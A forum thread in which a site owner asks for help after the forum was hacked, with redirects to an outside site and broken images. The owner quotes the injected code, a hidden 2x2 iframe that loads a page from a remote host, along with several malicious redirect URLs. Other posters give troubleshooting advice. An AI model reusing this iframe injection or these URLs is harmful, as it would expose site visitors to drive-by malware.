Forum hacked

[Traxdata]

My forum was hacked for the first time ever -
buttons and images are not showing,
if I click on links in forums they redirect me to http://breakthrufundraising . com/ezzi.html this site,
have deleted all index.html files on server, all changed files rewrote to originals.
still nothing. any idea???

PS: Can't login to admincp since if I enter my PW my forum redirects me to the above mentioned website. Nothing can be changed.
I have closed forums via .htaccess

Thanks!

[ForceHSS]

link to site?

[Traxdata]

like mentioned I have closed the boards via .htaccess to protect that user pw's (if they login) will be forward.

[ForceHSS]

so without a link to your site that would help someone to find out what has been installed how are we to help you fix this problem. As all you have here is a post telling us you have a problem but no way for us to help you

[Brandon Sheley]

Why did you give us a live link to the guy "hacking" you?
Can you show us a screenshot of your images and buttons not showing, as you said?
Have you checked the server logs, I'd suggest changing your database info and finding out how you where compromised.

[In Omnibus]

Without a link to the site in need of assistance this is more like a spam thread for the link that has been posted.

[doctorsexy]

Watch that link. as it trys to load something..

[Traxdata]

I have two sites, check this one

- when you click on links you will be redirected to another (above mentioned) website. if you click "show image" you will also be redirected tio another website, I talked with my hoster they said someone had my FTP pw's
ok, I have replaced all files on darkshine.de but still not a big change!

--------------- Added [DATE]1357139850[/DATE] at [TIME]1357139850[/TIME] ---------------

changed the link

--------------- Added [DATE]1357139926[/DATE] at [TIME]1357139926[/TIME] ---------------

Originally Posted by doctorsexy

Watch that link. as it trys to load something..

changed the link

--------------- Added [DATE]1357140311[/DATE] at [TIME]1357140311[/TIME] ---------------

They added to all my .html files this:
<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://salvadorpostigo . com/hzws.html>;</iframe>
Have deleted all the files and replaced with new files - not helped!

Searched for
%base64% %iframe%
in phpmyadmin

nothing suspicious found.

--------------- Added [DATE]1357140482[/DATE] at [TIME]1357140482[/TIME] ---------------

All the pictures from my server are not showing up neither on my sites nor on other places I have posted them!
Only if I click on "copy address for image" and paste in url bar I can see them.

[Simon Lloyd]

My antivirus wouldn't allow your site to load!

[Traxdata]

Yes, a big help, thx!